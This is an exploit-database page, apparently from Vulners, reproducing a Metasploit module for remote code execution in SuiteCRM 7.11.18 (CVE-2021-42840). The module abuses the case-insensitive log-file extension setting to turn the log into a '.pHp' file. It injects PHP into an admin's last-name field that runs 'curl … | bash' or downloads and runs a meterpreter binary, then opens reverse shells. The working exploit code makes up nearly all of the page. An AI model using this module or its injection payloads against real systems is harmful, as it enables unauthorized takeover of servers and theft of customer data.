Lucene search
K

SuiteCRM 7.11.18 Remote Code Execution

🗓️ 17 Nov 2021 00:00:00Reported by M. Cory BillingtonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 632 Views

SuiteCRM 7.11.18 Remote Code Execution exploit through log file extension paramete

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Salesagility Suitecrm
6 Nov 202000:56
githubexploit
0day.today
SuiteCRM Log File Remote Code Execution Exploit
4 Jun 202100:00
zdt
0day.today
SuiteCRM 7.11.18 - Remote Code Execution Exploit
17 Nov 202100:00
zdt
Circl
CVE-2020-28320
3 Jun 202114:18
circl
Circl
CVE-2020-28328
3 Jun 202114:18
circl
Circl
CVE-2021-42840
3 Jun 202114:18
circl
CNNVD
SuiteCRM Security Breach
26 Jan 202100:00
cnnvd
CNNVD
SuiteCRM 代码问题漏洞
22 Oct 202100:00
cnnvd
CNVD
SuiteCRM Remote Code Execution Vulnerability
9 Nov 202000:00
cnvd
Check Point Advisories
SuiteCRM Remote Code Execution (CVE-2020-28328)
28 Nov 202000:00
checkpoint_advisories
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SuiteCRM Log File Remote Code Execution',  
'Description' => %q{  
This module exploits an input validation error on the log file extension parameter. It does  
not properly validate upper/lower case characters. Once this occurs, the application log file  
will be treated as a php file. The log file can then be populated with php code by changing the  
username of a valid user, as this info is logged. The php code in the file can then be executed  
by sending an HTTP request to the log file. A similar issue was reported by the same researcher  
where a blank file extension could be supplied and the extension could be provided in the file  
name. This exploit will work on those versions as well, and those references are included.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'M. Cory Billington' # @_th3y  
],  
'References' => [  
['CVE', '2021-42840'],  
['CVE', '2020-28328'], # First CVE  
['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.  
['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit  
['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit  
],  
'Platform' => %w[linux unix],  
'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],  
'Targets' => [  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true,  
'DisclosureDate' => '2021-04-28',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),  
OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),  
OptString.new('PASS', [true, 'Password for administrator', 'admin']),  
OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),  
OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),  
OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])  
]  
)  
end  
  
def check  
authenticate unless @authenticated  
return Exploit::CheckCode::Unknown unless @authenticated  
  
version_check_request = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Home',  
'action' => 'About'  
}  
}  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request  
  
version_match = version_check_request.body[/  
Version  
\s  
\d{1} # Major revision  
\.  
\d{1,2} # Minor revision  
\.  
\d{1,2} # Bug fix release  
/x]  
  
version = version_match.partition(' ').last  
  
if version.nil? || version.empty?  
about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"  
return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")  
end  
  
patched_version = Rex::Version.new('7.11.18')  
current_version = Rex::Version.new(version)  
  
return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version  
  
Exploit::CheckCode::Safe("SuiteCRM #{version}")  
end  
  
def authenticate  
print_status("Authenticating as #{datastore['USER']}")  
initial_req = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Users',  
'action' => 'Login'  
}  
}  
)  
  
return false unless initial_req && initial_req.code == 200  
  
login = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'module' => 'Users',  
'action' => 'Authenticate',  
'return_module' => 'Users',  
'return_action' => 'Login',  
'user_name' => datastore['USER'],  
'username_password' => datastore['PASS'],  
'Login' => 'Log In'  
}  
}  
)  
  
return false unless login && login.code == 302  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Administration',  
'action' => 'index'  
}  
}  
)  
  
auth_succeeded?(res)  
end  
  
def auth_succeeded?(res)  
return false unless res  
  
if res.code == 200  
print_good("Authenticated as: #{datastore['USER']}")  
if res.body.include?('Unauthorized access to administration.')  
print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")  
@is_admin = false  
else  
print_good("#{datastore['USER']} has administrative rights.")  
@is_admin = true  
end  
@authenticated = true  
return true  
else  
print_error("Failed to authenticate as: #{datastore['USER']}")  
return false  
end  
end  
  
def post_log_file(data)  
send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'keep_cookies' => true,  
'headers' => {  
'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"  
},  
'data' => data.to_s  
}  
)  
end  
  
def modify_system_settings_file  
filename = rand_text_alphanumeric(8).to_s  
extension = '.pHp'  
@php_fname = filename + extension  
action = 'Modify system settings file'  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')  
data.add_part('Configurator', nil, nil, 'form-data; name="module"')  
data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')  
data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')  
data.add_part('info', nil, nil, 'form-data; name="logger_level"')  
data.add_part('Save', nil, nil, 'form-data; name="save"')  
  
res = post_log_file(data)  
check_logfile_request(res, action)  
end  
  
def poison_log_file  
action = 'Poison log file'  
if target.arch.first == 'cmd'  
command_injection = "<?php `curl #{@download_url} | bash`; ?>"  
else  
@meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}"  
command_injection = %(  
<?php `curl #{@download_url} -o #{@meterpreter_fname};  
/bin/chmod 700 #{@meterpreter_fname};  
/bin/sh -c #{@meterpreter_fname};`; ?>  
)  
end  
  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('Users', nil, nil, 'form-data; name="module"')  
data.add_part('1', nil, nil, 'form-data; name="record"')  
data.add_part('Save', nil, nil, 'form-data; name="action"')  
data.add_part('EditView', nil, nil, 'form-data; name="page"')  
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')  
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')  
data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')  
  
res = post_log_file(data)  
check_logfile_request(res, action)  
end  
  
def restore  
action = 'Restore logging to default configuration'  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')  
data.add_part('Configurator', nil, nil, 'form-data; name="module"')  
data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')  
data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')  
data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')  
data.add_part('Save', nil, nil, 'form-data; name="save"')  
  
post_log_file(data)  
  
data = Rex::MIME::Message.new  
data.add_part('Users', nil, nil, 'form-data; name="module"')  
data.add_part('1', nil, nil, 'form-data; name="record"')  
data.add_part('Save', nil, nil, 'form-data; name="action"')  
data.add_part('EditView', nil, nil, 'form-data; name="page"')  
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')  
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')  
data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')  
  
res = post_log_file(data)  
  
print_error("Failed - #{action}") unless res && res.code == 301  
  
print_good("Succeeded - #{action}")  
end  
  
def check_logfile_request(res, action)  
fail_with(Failure::Unknown, "#{action} - no reply") unless res  
  
unless res.code == 301  
print_error("Failed - #{action}")  
fail_with(Failure::UnexpectedReply, "Failed - #{action}")  
end  
  
print_good("Succeeded - #{action}")  
end  
  
def execute_php  
print_status("Executing php code in log file: #{@php_fname}")  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri, @php_fname),  
'keep_cookies' => true  
}  
)  
fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404  
register_files_for_cleanup(@php_fname)  
register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?  
end  
  
def on_request_uri(cli, _request)  
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })  
print_good("#{peer} - Payload sent!")  
end  
  
def start_http_server  
start_service(  
{  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => resource_uri  
}  
}  
)  
@download_url = get_uri  
end  
  
def exploit  
start_http_server  
authenticate unless @authenticated  
fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated  
fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin  
modify_system_settings_file  
poison_log_file  
execute_php  
ensure  
restore if datastore['RESTORECONF']  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation